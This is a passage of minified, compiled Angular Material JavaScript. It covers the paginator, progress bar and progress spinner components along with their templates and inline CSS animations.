te._handleMousedown(m)})("keydown",function(m){return te._handleKeydown(m)}),2&Ie&&u.uIk("aria-haspopup",te.menu?"menu":null)("aria-expanded",te.menuOpen||null)("aria-controls",te.menuOpen?te.menu.panelId:null)},inputs:{_deprecatedMatMenuTriggerFor:["mat-menu-trigger-for","_deprecatedMatMenuTriggerFor"],menu:["matMenuTriggerFor","menu"],menuData:["matMenuTriggerData","menuData"],restoreFocus:["matMenuTriggerRestoreFocus","restoreFocus"]},outputs:{menuOpened:"menuOpened",onMenuOpen:"onMenuOpen",menuClosed:"menuClosed",onMenuClose:"onMenuClose"}}),Dt})(),Je=(()=>{class Dt extends ct{}return Dt.\\u0275fac=function(){let Pt;return function(te){return(Pt||(Pt=u.n5z(Dt)))(te||Dt)}}(),Dt.\\u0275dir=u.lG2({type:Dt,selectors:[["","mat-menu-trigger-for",""],["","matMenuTriggerFor",""]],hostAttrs:[1,"mat-menu-trigger"],exportAs:["matMenuTrigger"],features:[u.qOj]}),Dt})(),Et=(()=>{class Dt{}return Dt.\\u0275fac=function(Ie){return new(Ie||Dt)},Dt.\\u0275mod=u.oAB({type:Dt}),Dt.\\u0275inj=u.cJS({providers:[R],imports:[oe.ez,Ce.BQ,Ce.si,K.U8,ee.ZD,Ce.BQ]}),Dt})()},8739:(At,ae,d)=>{"use strict";d.d(ae,{NW:()=>q,TU:()=>we});var n=d(6895),a=d(4650),s=d(3238),u=d(4859),c=d(4385),f=d(266),E=d(1281),_=d(8929),S=d(9549);function g(ce,je){if(1&ce&&(a.TgZ(0,"mat-option",19),a._uU(1),a.qZA()),2&ce){const Ze=je.$implicit;a.Q6J("value",Ze),a.xp6(1),a.hij(" ",Ze," ")}}function C(ce,je){if(1&ce){const Ze=a.EpF();a.TgZ(0,"mat-form-field",16)(1,"mat-select",17),a.NdJ("selectionChange",function(Oe){a.CHM(Ze);const Qe=a.oxw(2);return a.KtG(Qe._changePageSize(Oe.value))}),a.YNc(2,g,2,2,"mat-option",18),a.qZA()()}if(2&ce){const Ze=a.oxw(2);a.Q6J("appearance",Ze._formFieldAppearance)("color",Ze.color),a.xp6(1),a.Q6J("value",Ze.pageSize)("disabled",Ze.disabled)("panelClass",Ze.selectConfig.panelClass||"")("disableOptionCentering",Ze.selectConfig.disableOptionCentering)("aria-label",Ze._intl.itemsPerPageLabel),a.xp6(1),a.Q6J("ngForOf",Ze._displayedPageSizeOptions)}}function z(ce,je){if(1&ce&&(a.TgZ(0,"div",20),a._uU(1),a.qZA()),2&ce){const Ze=a.oxw(2);a.xp6(1),a.Oqu(Ze.pageSize)}}function H(ce,je){if(1&ce&&(a.TgZ(0,"div",12)(1,"div",13),a._uU(2),a.qZA(),a.YNc(3,C,3,8,"mat-form-field",14),a.YNc(4,z,2,1,"div",15),a.qZA()),2&ce){const Ze=a.oxw();a.xp6(2),a.hij(" ",Ze._intl.itemsPerPageLabel," "),a.xp6(1),a.Q6J("ngIf",Ze._displayedPageSizeOptions.length>1),a.xp6(1),a.Q6J("ngIf",Ze._displayedPageSizeOptions.length<=1)}}function j(ce,je){if(1&ce){const Ze=a.EpF();a.TgZ(0,"button",21),a.NdJ("click",function(){a.CHM(Ze);const Oe=a.oxw();return a.KtG(Oe.firstPage())}),a.O4$(),a.TgZ(1,"svg",7),a._UZ(2,"path",22),a.qZA()()}if(2&ce){const Ze=a.oxw();a.Q6J("matTooltip",Ze._intl.firstPageLabel)("matTooltipDisabled",Ze._previousButtonsDisabled())("matTooltipPosition","above")("disabled",Ze._previousButtonsDisabled()),a.uIk("aria-label",Ze._intl.firstPageLabel)}}function U(ce,je){if(1&ce){const Ze=a.EpF();a.O4$(),a.kcU(),a.TgZ(0,"button",23),a.NdJ("click",function(){a.CHM(Ze);const Oe=a.oxw();return a.KtG(Oe.lastPage())}),a.O4$(),a.TgZ(1,"svg",7),a._UZ(2,"path",24),a.qZA()()}if(2&ce){const Ze=a.oxw();a.Q6J("matTooltip",Ze._intl.lastPageLabel)("matTooltipDisabled",Ze._nextButtonsDisabled())("matTooltipPosition","above")("disabled",Ze._nextButtonsDisabled()),a.uIk("aria-label",Ze._intl.lastPageLabel)}}let G=(()=>{class ce{constructor(){this.changes=new _.xQ,this.itemsPerPageLabel="Items per page:",this.nextPageLabel="Next page",this.previousPageLabel="Previous page",this.firstPageLabel="First page",this.lastPageLabel="Last page",this.getRangeLabel=(Ze,le,Oe)=>{if(0==Oe||0==le)return`0 of ${Oe}`;const Qe=Ze*le;return`${Qe+1} \\u2013 ${Qe<(Oe=Math.max(Oe,0))?Math.min(Qe+le,Oe):Qe+le} of ${Oe}`}}}return ce.\\u0275fac=function(Ze){return new(Ze||ce)},ce.\\u0275prov=a.Yz7({token:ce,factory:ce.\\u0275fac,providedIn:"root"}),ce})();const oe={provide:G,deps:[[new a.FiY,new a.tp0,G]],useFactory:function Q(ce){return ce||new G}},K=new a.OlP("MAT_PAGINATOR_DEFAULT_OPTIONS"),se=(0,s.Id)((0,s.dB)(class{}));let ee=(()=>{class ce extends se{constructor(Ze,le,Oe){if(super(),this._intl=Ze,this._changeDetectorRef=le,this._pageIndex=0,this._length=0,this._pageSizeOptions=[],this._hidePageSize=!1,this._showFirstLastButtons=!1,this.selectConfig={},this.page=new a.vpe,this._intlChanges=Ze.changes.subscribe(()=>this._changeDetectorRef.markForCheck()),Oe){const{pageSize:Qe,pageSizeOptions:Ye,hidePageSize:qe,showFirstLastButtons:Ke}=Oe;null!=Qe&&(this._pageSize=Qe),null!=Ye&&(this._pageSizeOptions=Ye),null!=qe&&(this._hidePageSize=qe),null!=Ke&&(this._showFirstLastButtons=Ke)}}get pageIndex(){return this._pageIndex}set pageIndex(Ze){this._pageIndex=Math.max((0,E.su)(Ze),0),this._changeDetectorRef.markForCheck()}get length(){return this._length}set length(Ze){this._length=(0,E.su)(Ze),this._changeDetectorRef.markForCheck()}get pageSize(){return this._pageSize}set pageSize(Ze){this._pageSize=Math.max((0,E.su)(Ze),0),this._updateDisplayedPageSizeOptions()}get pageSizeOptions(){return this._pageSizeOptions}set pageSizeOptions(Ze){this._pageSizeOptions=(Ze||[]).map(le=>(0,E.su)(le)),this._updateDisplayedPageSizeOptions()}get hidePageSize(){return this._hidePageSize}set hidePageSize(Ze){this._hidePageSize=(0,E.Ig)(Ze)}get showFirstLastButtons(){return this._showFirstLastButtons}set showFirstLastButtons(Ze){this._showFirstLastButtons=(0,E.Ig)(Ze)}ngOnInit(){this._initialized=!0,this._updateDisplayedPageSizeOptions(),this._markInitialized()}ngOnDestroy(){this._intlChanges.unsubscribe()}nextPage(){if(!this.hasNextPage())return;const Ze=this.pageIndex;this.pageIndex=this.pageIndex+1,this._emitPageEvent(Ze)}previousPage(){if(!this.hasPreviousPage())return;const Ze=this.pageIndex;this.pageIndex=this.pageIndex-1,this._emitPageEvent(Ze)}firstPage(){if(!this.hasPreviousPage())return;const Ze=this.pageIndex;this.pageIndex=0,this._emitPageEvent(Ze)}lastPage(){if(!this.hasNextPage())return;const Ze=this.pageIndex;this.pageIndex=this.getNumberOfPages()-1,this._emitPageEvent(Ze)}hasPreviousPage(){return this.pageIndex>=1&&0!=this.pageSize}hasNextPage(){const Ze=this.getNumberOfPages()-1;return this.pageIndex<Ze&&0!=this.pageSize}getNumberOfPages(){return this.pageSize?Math.ceil(this.length/this.pageSize):0}_changePageSize(Ze){const Oe=this.pageIndex;this.pageIndex=Math.floor(this.pageIndex*this.pageSize/Ze)||0,this.pageSize=Ze,this._emitPageEvent(Oe)}_nextButtonsDisabled(){return this.disabled||!this.hasNextPage()}_previousButtonsDisabled(){return this.disabled||!this.hasPreviousPage()}_updateDisplayedPageSizeOptions(){this._initialized&&(this.pageSize||(this._pageSize=0!=this.pageSizeOptions.length?this.pageSizeOptions[0]:50),this._displayedPageSizeOptions=this.pageSizeOptions.slice(),-1===this._displayedPageSizeOptions.indexOf(this.pageSize)&&this._displayedPageSizeOptions.push(this.pageSize),this._displayedPageSizeOptions.sort((Ze,le)=>Ze-le),this._changeDetectorRef.markForCheck())}_emitPageEvent(Ze){this.page.emit({previousPageIndex:Ze,pageIndex:this.pageIndex,pageSize:this.pageSize,length:this.length})}}return ce.\\u0275fac=function(Ze){a.$Z()},ce.\\u0275dir=a.lG2({type:ce,inputs:{color:"color",pageIndex:"pageIndex",length:"length",pageSize:"pageSize",pageSizeOptions:"pageSizeOptions",hidePageSize:"hidePageSize",showFirstLastButtons:"showFirstLastButtons",selectConfig:"selectConfig"},outputs:{page:"page"},features:[a.qOj]}),ce})(),q=(()=>{class ce extends ee{constructor(Ze,le,Oe){super(Ze,le,Oe),Oe&&null!=Oe.formFieldAppearance&&(this._formFieldAppearance=Oe.formFieldAppearance)}}return ce.\\u0275fac=function(Ze){return new(Ze||ce)(a.Y36(G),a.Y36(a.sBO),a.Y36(K,8))},ce.\\u0275cmp=a.Xpm({type:ce,selectors:[["mat-paginator"]],hostAttrs:["role","group",1,"mat-paginator"],inputs:{disabled:"disabled"},exportAs:["matPaginator"],features:[a.qOj],decls:14,vars:14,consts:[[1,"mat-paginator-outer-container"],[1,"mat-paginator-container"],["class","mat-paginator-page-size",4,"ngIf"],[1,"mat-paginator-range-actions"],[1,"mat-paginator-range-label"],["mat-icon-button","","type","button","class","mat-paginator-navigation-first",3,"matTooltip","matTooltipDisabled","matTooltipPosition","disabled","click",4,"ngIf"],["mat-icon-button","","type","button",1,"mat-paginator-navigation-previous",3,"matTooltip","matTooltipDisabled","matTooltipPosition","disabled","click"],["viewBox","0 0 24 24","focusable","false",1,"mat-paginator-icon"],["d","M15.41 7.41L14 6l-6 6 6 6 1.41-1.41L10.83 12z"],["mat-icon-button","","type","button",1,"mat-paginator-navigation-next",3,"matTooltip","matTooltipDisabled","matTooltipPosition","disabled","click"],["d","M10 6L8.59 7.41 13.17 12l-4.58 4.59L10 18l6-6z"],["mat-icon-button","","type","button","class","mat-paginator-navigation-last",3,"matTooltip","matTooltipDisabled","matTooltipPosition","disabled","click",4,"ngIf"],[1,"mat-paginator-page-size"],[1,"mat-paginator-page-size-label"],["class","mat-paginator-page-size-select",3,"appearance","color",4,"ngIf"],["class","mat-paginator-page-size-value",4,"ngIf"],[1,"mat-paginator-page-size-select",3,"appearance","color"],[3,"value","disabled","panelClass","disableOptionCentering","aria-label","selectionChange"],[3,"value",4,"ngFor","ngForOf"],[3,"value"],[1,"mat-paginator-page-size-value"],["mat-icon-button","","type","button",1,"mat-paginator-navigation-first",3,"matTooltip","matTooltipDisabled","matTooltipPosition","disabled","click"],["d","M18.41 16.59L13.82 12l4.59-4.59L17 6l-6 6 6 6zM6 6h2v12H6z"],["mat-icon-button","","type","button",1,"mat-paginator-navigation-last",3,"matTooltip","matTooltipDisabled","matTooltipPosition","disabled","click"],["d","M5.59 7.41L10.18 12l-4.59 4.59L7 18l6-6-6-6zM16 6h2v12h-2z"]],template:function(Ze,le){1&Ze&&(a.TgZ(0,"div",0)(1,"div",1),a.YNc(2,H,5,3,"div",2),a.TgZ(3,"div",3)(4,"div",4),a._uU(5),a.qZA(),a.YNc(6,j,3,5,"button",5),a.TgZ(7,"button",6),a.NdJ("click",function(){return le.previousPage()}),a.O4$(),a.TgZ(8,"svg",7),a._UZ(9,"path",8),a.qZA()(),a.kcU(),a.TgZ(10,"button",9),a.NdJ("click",function(){return le.nextPage()}),a.O4$(),a.TgZ(11,"svg",7),a._UZ(12,"path",10),a.qZA()(),a.YNc(13,U,3,5,"button",11),a.qZA()()()),2&Ze&&(a.xp6(2),a.Q6J("ngIf",!le.hidePageSize),a.xp6(3),a.hij(" ",le._intl.getRangeLabel(le.pageIndex,le.pageSize,le.length)," "),a.xp6(1),a.Q6J("ngIf",le.showFirstLastButtons),a.xp6(1),a.Q6J("matTooltip",le._intl.previousPageLabel)("matTooltipDisabled",le._previousButtonsDisabled())("matTooltipPosition","above")("disabled",le._previousButtonsDisabled()),a.uIk("aria-label",le._intl.previousPageLabel),a.xp6(3),a.Q6J("matTooltip",le._intl.nextPageLabel)("matTooltipDisabled",le._nextButtonsDisabled())("matTooltipPosition","above")("disabled",le._nextButtonsDisabled()),a.uIk("aria-label",le._intl.nextPageLabel),a.xp6(3),a.Q6J("ngIf",le.showFirstLastButtons))},dependencies:[n.sg,n.O5,u.lW,S.KE,c.gD,s.ey,f.gM],styles:[".mat-paginator{display:block}.mat-paginator-outer-container{display:flex}.mat-paginator-container{display:flex;align-items:center;justify-content:flex-end;padding:0 8px;flex-wrap:wrap-reverse;width:100%}.mat-paginator-page-size{display:flex;align-items:baseline;margin-right:8px}[dir=rtl] .mat-paginator-page-size{margin-right:0;margin-left:8px}.mat-paginator-page-size-label{margin:0 4px}.mat-paginator-page-size-select{margin:6px 4px 0 4px;width:56px}.mat-paginator-page-size-select.mat-form-field-appearance-outline{width:64px}.mat-paginator-page-size-select.mat-form-field-appearance-fill{width:64px}.mat-paginator-range-label{margin:0 32px 0 24px}.mat-paginator-range-actions{display:flex;align-items:center}.mat-paginator-icon{display:inline-block;width:28px;fill:currentColor}[dir=rtl] .mat-paginator-icon{transform:rotate(180deg)}.cdk-high-contrast-active .mat-paginator-icon{fill:CanvasText}"],encapsulation:2,changeDetection:0}),ce})(),we=(()=>{class ce{}return ce.\\u0275fac=function(Ze){return new(Ze||ce)},ce.\\u0275mod=a.oAB({type:ce}),ce.\\u0275inj=a.cJS({providers:[oe],imports:[n.ez,u.ot,c.LD,f.AV,s.BQ]}),ce})()},3162:(At,ae,d)=>{"use strict";d.d(ae,{Cv:()=>G,pW:()=>j});var n=d(4650),a=d(6895),s=d(3238),u=d(1281),c=d(2654),f=d(3753),E=d(2198);const _=["primaryValueBar"],S=(0,s.pj)(class{constructor(Q){this._elementRef=Q}},"primary"),g=new n.OlP("mat-progress-bar-location",{providedIn:"root",factory:function C(){const Q=(0,n.f3M)(a.K0),oe=Q?Q.location:null;return{getPathname:()=>oe?oe.pathname+oe.search:""}}}),z=new n.OlP("MAT_PROGRESS_BAR_DEFAULT_OPTIONS");let H=0,j=(()=>{class Q extends S{constructor(Ce,k,K,se,ee,q){super(Ce),this._ngZone=k,this._animationMode=K,this._changeDetectorRef=q,this._isNoopAnimation=!1,this._value=0,this._bufferValue=0,this.animationEnd=new n.vpe,this._animationEndSubscription=c.w.EMPTY,this.mode="determinate",this.progressbarId="mat-progress-bar-"+H++;const we=se?se.getPathname().split("#")[0]:"";this._rectangleFillValue=`url(\'${we}#${this.progressbarId}\')`,this._isNoopAnimation="NoopAnimations"===K,ee&&(ee.color&&(this.color=this.defaultColor=ee.color),this.mode=ee.mode||this.mode)}get value(){return this._value}set value(Ce){this._value=U((0,u.su)(Ce)||0),this._changeDetectorRef?.markForCheck()}get bufferValue(){return this._bufferValue}set bufferValue(Ce){this._bufferValue=U(Ce||0),this._changeDetectorRef?.markForCheck()}_primaryTransform(){return{transform:`scale3d(${this.value/100}, 1, 1)`}}_bufferTransform(){return"buffer"===this.mode?{transform:`scale3d(${this.bufferValue/100}, 1, 1)`}:null}ngAfterViewInit(){this._ngZone.runOutsideAngular(()=>{const Ce=this._primaryValueBar.nativeElement;this._animationEndSubscription=(0,f.R)(Ce,"transitionend").pipe((0,E.h)(k=>k.target===Ce)).subscribe(()=>{0!==this.animationEnd.observers.length&&("determinate"===this.mode||"buffer"===this.mode)&&this._ngZone.run(()=>this.animationEnd.next({value:this.value}))})})}ngOnDestroy(){this._animationEndSubscription.unsubscribe()}}return Q.\\u0275fac=function(Ce){return new(Ce||Q)(n.Y36(n.SBq),n.Y36(n.R0b),n.Y36(n.QbO,8),n.Y36(g,8),n.Y36(z,8),n.Y36(n.sBO))},Q.\\u0275cmp=n.Xpm({type:Q,selectors:[["mat-progress-bar"]],viewQuery:function(Ce,k){if(1&Ce&&n.Gf(_,5),2&Ce){let K;n.iGM(K=n.CRH())&&(k._primaryValueBar=K.first)}},hostAttrs:["role","progressbar","aria-valuemin","0","aria-valuemax","100","tabindex","-1",1,"mat-progress-bar"],hostVars:4,hostBindings:function(Ce,k){2&Ce&&(n.uIk("aria-valuenow","indeterminate"===k.mode||"query"===k.mode?null:k.value)("mode",k.mode),n.ekj("_mat-animation-noopable",k._isNoopAnimation))},inputs:{color:"color",value:"value",bufferValue:"bufferValue",mode:"mode"},outputs:{animationEnd:"animationEnd"},exportAs:["matProgressBar"],features:[n.qOj],decls:10,vars:4,consts:[["aria-hidden","true"],["width","100%","height","4","focusable","false",1,"mat-progress-bar-background","mat-progress-bar-element"],["x","4","y","0","width","8","height","4","patternUnits","userSpaceOnUse",3,"id"],["cx","2","cy","2","r","2"],["width","100%","height","100%"],[1,"mat-progress-bar-buffer","mat-progress-bar-element",3,"ngStyle"],[1,"mat-progress-bar-primary","mat-progress-bar-fill","mat-progress-bar-element",3,"ngStyle"],["primaryValueBar",""],[1,"mat-progress-bar-secondary","mat-progress-bar-fill","mat-progress-bar-element"]],template:function(Ce,k){1&Ce&&(n.TgZ(0,"div",0),n.O4$(),n.TgZ(1,"svg",1)(2,"defs")(3,"pattern",2),n._UZ(4,"circle",3),n.qZA()(),n._UZ(5,"rect",4),n.qZA(),n.kcU(),n._UZ(6,"div",5)(7,"div",6,7)(9,"div",8),n.qZA()),2&Ce&&(n.xp6(3),n.Q6J("id",k.progressbarId),n.xp6(2),n.uIk("fill",k._rectangleFillValue),n.xp6(1),n.Q6J("ngStyle",k._bufferTransform()),n.xp6(1),n.Q6J("ngStyle",k._primaryTransform()))},dependencies:[a.PC],styles:[\'.mat-progress-bar{display:block;height:4px;overflow:hidden;position:relative;transition:opacity 250ms linear;width:100%}.mat-progress-bar._mat-animation-noopable{transition:none !important;animation:none !important}.mat-progress-bar .mat-progress-bar-element,.mat-progress-bar .mat-progress-bar-fill::after{height:100%;position:absolute;width:100%}.mat-progress-bar .mat-progress-bar-background{width:calc(100% + 10px)}.cdk-high-contrast-active .mat-progress-bar .mat-progress-bar-background{display:none}.mat-progress-bar .mat-progress-bar-buffer{transform-origin:top left;transition:transform 250ms ease}.cdk-high-contrast-active .mat-progress-bar .mat-progress-bar-buffer{border-top:solid 5px;opacity:.5}.mat-progress-bar .mat-progress-bar-secondary{display:none}.mat-progress-bar .mat-progress-bar-fill{animation:none;transform-origin:top left;transition:transform 250ms ease}.cdk-high-contrast-active .mat-progress-bar .mat-progress-bar-fill{border-top:solid 4px}.mat-progress-bar .mat-progress-bar-fill::after{animation:none;content:"";display:inline-block;left:0}.mat-progress-bar[dir=rtl],[dir=rtl] .mat-progress-bar{transform:rotateY(180deg)}.mat-progress-bar[mode=query]{transform:rotateZ(180deg)}.mat-progress-bar[mode=query][dir=rtl],[dir=rtl] .mat-progress-bar[mode=query]{transform:rotateZ(180deg) rotateY(180deg)}.mat-progress-bar[mode=indeterminate] .mat-progress-bar-fill,.mat-progress-bar[mode=query] .mat-progress-bar-fill{transition:none}.mat-progress-bar[mode=indeterminate] .mat-progress-bar-primary,.mat-progress-bar[mode=query] .mat-progress-bar-primary{-webkit-backface-visibility:hidden;backface-visibility:hidden;animation:mat-progress-bar-primary-indeterminate-translate 2000ms infinite linear;left:-145.166611%}.mat-progress-bar[mode=indeterminate] .mat-progress-bar-primary.mat-progress-bar-fill::after,.mat-progress-bar[mode=query] .mat-progress-bar-primary.mat-progress-bar-fill::after{-webkit-backface-visibility:hidden;backface-visibility:hidden;animation:mat-progress-bar-primary-indeterminate-scale 2000ms infinite linear}.mat-progress-bar[mode=indeterminate] .mat-progress-bar-secondary,.mat-progress-bar[mode=query] .mat-progress-bar-secondary{-webkit-backface-visibility:hidden;backface-visibility:hidden;animation:mat-progress-bar-secondary-indeterminate-translate 2000ms infinite linear;left:-54.888891%;display:block}.mat-progress-bar[mode=indeterminate] .mat-progress-bar-secondary.mat-progress-bar-fill::after,.mat-progress-bar[mode=query] .mat-progress-bar-secondary.mat-progress-bar-fill::after{-webkit-backface-visibility:hidden;backface-visibility:hidden;animation:mat-progress-bar-secondary-indeterminate-scale 2000ms infinite linear}.mat-progress-bar[mode=buffer] .mat-progress-bar-background{-webkit-backface-visibility:hidden;backface-visibility:hidden;animation:mat-progress-bar-background-scroll 250ms infinite linear;display:block}.mat-progress-bar._mat-animation-noopable .mat-progress-bar-fill,.mat-progress-bar._mat-animation-noopable .mat-progress-bar-fill::after,.mat-progress-bar._mat-animation-noopable .mat-progress-bar-buffer,.mat-progress-bar._mat-animation-noopable .mat-progress-bar-primary,.mat-progress-bar._mat-animation-noopable .mat-progress-bar-primary.mat-progress-bar-fill::after,.mat-progress-bar._mat-animation-noopable .mat-progress-bar-secondary,.mat-progress-bar._mat-animation-noopable .mat-progress-bar-secondary.mat-progress-bar-fill::after,.mat-progress-bar._mat-animation-noopable .mat-progress-bar-background{animation:none;transition-duration:1ms}@keyframes mat-progress-bar-primary-indeterminate-translate{0%{transform:translateX(0)}20%{animation-timing-function:cubic-bezier(0.5, 0, 0.701732, 0.495819);transform:translateX(0)}59.15%{animation-timing-function:cubic-bezier(0.302435, 0.381352, 0.55, 0.956352);transform:translateX(83.67142%)}100%{transform:translateX(200.611057%)}}@keyframes mat-progress-bar-primary-indeterminate-scale{0%{transform:scaleX(0.08)}36.65%{animation-timing-function:cubic-bezier(0.334731, 0.12482, 0.785844, 1);transform:scaleX(0.08)}69.15%{animation-timing-function:cubic-bezier(0.06, 0.11, 0.6, 1);transform:scaleX(0.661479)}100%{transform:scaleX(0.08)}}@keyframes mat-progress-bar-secondary-indeterminate-translate{0%{animation-timing-function:cubic-bezier(0.15, 0, 0.515058, 0.409685);transform:translateX(0)}25%{animation-timing-function:cubic-bezier(0.31033, 0.284058, 0.8, 0.733712);transform:translateX(37.651913%)}48.35%{animation-timing-function:cubic-bezier(0.4, 0.627035, 0.6, 0.902026);transform:translateX(84.386165%)}100%{transform:translateX(160.277782%)}}@keyframes mat-progress-bar-secondary-indeterminate-scale{0%{animation-timing-function:cubic-bezier(0.15, 0, 0.515058, 0.409685);transform:scaleX(0.08)}19.15%{animation-timing-function:cubic-bezier(0.31033, 0.284058, 0.8, 0.733712);transform:scaleX(0.457104)}44.15%{animation-timing-function:cubic-bezier(0.4, 0.627035, 0.6, 0.902026);transform:scaleX(0.72796)}100%{transform:scaleX(0.08)}}@keyframes mat-progress-bar-background-scroll{to{transform:translateX(-8px)}}\'],encapsulation:2,changeDetection:0}),Q})();function U(Q,oe=0,Ce=100){return Math.max(oe,Math.min(Ce,Q))}let G=(()=>{class Q{}return Q.\\u0275fac=function(Ce){return new(Ce||Q)},Q.\\u0275mod=n.oAB({type:Q}),Q.\\u0275inj=n.cJS({imports:[a.ez,s.BQ,s.BQ]}),Q})()},1572:(At,ae,d)=>{"use strict";d.d(ae,{Cq:()=>Q,Ou:()=>G});var n=d(1281),a=d(3353),s=d(7261),u=d(6895),c=d(4650),f=d(3238),E=d(2654);function _(Ce,k){if(1&Ce&&(c.O4$(),c._UZ(0,"circle",4)),2&Ce){const K=c.oxw(),se=c.MAs(1);c.Udp("animation-name","mat-progress-spinner-stroke-rotate-"+K._spinnerAnimationLabel)("stroke-dashoffset",K._getStrokeDashOffset(),"px")("stroke-dasharray",K._getStrokeCircumference(),"px")("stroke-width",K._getCircleStrokeWidth(),"%")("transform-origin",K._getCircleTransformOrigin(se)),c.uIk("r",K._getCircleRadius())}}function S(Ce,k){if(1&Ce&&(c.O4$(),c._UZ(0,"circle",4)),2&Ce){const K=c.oxw(),se=c.MAs(1);c.Udp("stroke-dashoffset",K._getStrokeDashOffset(),"px")("stroke-dasharray",K._getStrokeCircumference(),"px")("stroke-width",K._getCircleStrokeWidth(),"%")("transform-origin",K._getCircleTransformOrigin(se)),c.uIk("r",K._getCircleRadius())}}const z=(0,f.pj)(class{constructor(Ce){this._elementRef=Ce}},"primary"),H=new c.OlP("mat-progress-spinner-default-options",{providedIn:"root",factory:function j(){return{diameter:100}}});class G extends z{constructor(k,K,se,ee,q,we,ce,je){super(k),this._document=se,this._diameter=100,this._value=0,this._resizeSubscription=E.w.EMPTY,this.mode="determinate";const Ze=G._diameters;this._spinnerAnimationLabel=this._getSpinnerAnimationLabel(),Ze.has(se.head)||Ze.set(se.head,new Set([100])),this._noopAnimations="NoopAnimations"===ee&&!!q&&!q._forceAnimations,"mat-spinner"===k.nativeElement.nodeName.toLowerCase()&&(this.mode="indeterminate"),q&&(q.color&&(this.color=this.defaultColor=q.color),q.diameter&&(this.diameter=q.diameter),q.strokeWidth&&(this.strokeWidth=q.strokeWidth)),K.isBrowser&&K.SAFARI&&ce&&we&&je&&(this._resizeSubscription=ce.change(150).subscribe(()=>{"indeterminate"===this.mode&&je.run(()=>we.markForCheck())}))}get diameter(){return this._diameter}set diameter(k){this._diameter=(0,n.su)(k),this._spinnerAnimationLabel=this._getSpinnerAnimationLabel(),this._styleRoot&&this._attachStyleNode()}get strokeWidth(){return this._strokeWidth||this.diameter/10}set strokeWidth(k){this._strokeWidth=(0,n.su)(k)}get value(){return"determinate"===this.mode?this._value:0}set value(k){this._value=Math.max(0,Math.min(100,(0,n.su)(k)))}ngOnInit(){const k=this._elementRef.nativeElement;this._styleRoot=(0,a.kV)(k)||this._document.head,this._attachStyleNode(),k.classList.add("mat-progress-spinner-indeterminate-animation")}ngOnDestroy(){this._resizeSubscription.unsubscribe()}_getCircleRadius(){return(this.diameter-10)/2}_getViewBox(){const k=2*this._getCircleRadius()+this.strokeWidth;return`0 0 ${k} ${k}`}_getStrokeCircumference(){return 2*Math.PI*this._getCircleRadius()}_getStrokeDashOffset(){return"determinate"===this.mode?this._getStrokeCircumference()*(100-this._value)/100:null}_getCircleStrokeWidth(){return this.strokeWidth/this.diameter*100}_getCircleTransformOrigin(k){const K=50*(k.currentScale??1);return`${K}% ${K}%`}_attachStyleNode(){const k=this._styleRoot,K=this._diameter,se=G._diameters;let ee=se.get(k);if(!ee||!ee.has(K)){const q=this._document.createElement("style");q.setAttribute("mat-spinner-animation",this._spinnerAnimationLabel),q.textContent=this._getAnimationText(),k.appendChild(q),ee||(ee=new Set,se.set(k,ee)),ee.add(K)}}_getAnimationText(){const k=this._getStrokeCircumference();return"\\n @keyframes mat-progress-spinner-stroke-rotate-DIAMETER {\\n 0% { stroke-dashoffset: START_VALUE; transform: rotate(0); }\\n 12.5% { stroke-dashoffset: END_VALUE; transform: rotate(0); }\\n 12.5001% { stroke-dashoffset: END_VALUE; transform: rotateX(180deg) rotate(72.5deg); }\\n 25% { stroke-dashoffset: START_VALUE; transform: rotateX(180deg) rotate(72.5deg); }\\n\\n 25.0001% { stroke-dashoffset: START_VALUE; transform: rotate(270deg); }\\n 37.5% { stroke-dashoffset: END_VALUE; transform: rotate(270deg); }\\n 37.5001% { stroke-dashoffset: END_VALUE; transform: rotateX(180deg) rotate(161.5deg); }\\n 50% { stroke-dashoffset: START_VALUE; transform: rotateX(180deg) rotate(161.5deg); }\\n\\n 50.0001% { stroke-dashoffset: START_VALUE; transform: rotate(180deg); }\\n 62.5% { stroke-dashoffset: END_VALUE; transform: rotate(180deg); }\\n 62.5001% { stroke-dashoffset: END_VALUE; transform: rotateX(180deg) rotate(251.5deg); }\\n 75% { stroke-dashoffset: START_VALUE; transform: rotateX(180deg) rotate(251.5deg); }\\n\\n 75.0001% { stroke-dashoffset: START_VALUE; transform: rotate(90deg); }\\n 87.5% { stroke-dashoffset: END_VALUE; transform: rotate(90deg); }\\n 87.5001% { stroke-dashoffset: END_VALUE; transform: rotateX(180deg) rotate(341.5deg); }\\n 100% { stroke-dashoffset: START_VALUE; transform: rotateX(180deg) rotate(341.5deg); }\\n }\\n".replace(/START_VALUE/g,""+.95*k).replace(/END_VALUE/g,""+.2*k).replace(/DIAMETER/g,`${this._spinnerAnimationLabel}`)}_getSpinnerAnimationLabel(){return this.diameter.toString().replace(".","_")}}G._diameters=new WeakMap,G.\\u0275fac=function(k){return new(k||G)(c.Y36(c.SBq),c.Y36(a.t4),c.Y36(u.K0,8),c.Y36(c.QbO,8),c.Y36(H),c.Y36(c.sBO),c.Y36(s.rL),c.Y36(c.R0b))},G.\\u0275cmp=c.Xpm({type:G,selectors:[["mat-progress-spinner"],["mat-spinner"]],hostAttrs:["role","progressbar","tabindex","-1",1,"mat-progress-spinner","mat-spinner"],hostVars:10,hostBindings:function(k,K){2&k&&(c.uIk("aria-valuemin","determinate"===K.mode?0:null)("aria-valuemax","determinate"===K.mode?100:null)("aria-valuenow","determinate"===K.mode?K.value:null)("mode",K.mode),c.Udp("width",K.diameter,"px")("height",K.diameter,"px"),c.ekj("_mat-animation-noopable",K._noopAnimations))},inputs:{color:"color",diameter:"diameter",strokeWidth:"strokeWidth",mode:"mode",value:"value"},exportAs:["matProgressSpinner"],features:[c.qOj],decls:4,vars:8,consts:[["preserveAspectRatio","xMidYMid meet","focusable","false","aria-hidden","true",3,"ngSwitch"],["svg",""],["cx","50%","cy","50%",3,"animation-name","stroke-dashoffset","stroke-dasharray","stroke-width","transform-origin",4,"ngSwitchCase"],["cx","50%","cy","50%",3,"stroke-dashoffset","stroke-dasharray","stroke-width","transform-origin",4,"ngSwitchCase"],["cx","50%","cy","50%"]],template:function(k,K){1&k&&(c.O4$(),c.TgZ(0,"svg",0,1),c.YNc(2,_,1,11,"circle",2),c.YNc(3,S,1,9,"circle",3),c.qZA()),2&k&&(c.Udp("width",K.diameter,"px")("height",K.diameter,"px"),c.Q6J("ngSwitch","indeterminate"===K.mode),c.uIk("viewBox",K._getViewBox()),c.xp6(2),c.Q6J("ngSwitchCase",!0),c.xp6(1),c.Q6J("ngSwitchCase",!1))},dependencies:[u.RF,u.n9],styles:[".mat-progress-spinner{display:block;position:relative;overflow:hidden}.mat-progress-spinner svg{position:absolute;transform:rotate(-90deg);top:0;left:0;transform-origin:center;overflow:visible}.mat-progress-spinner 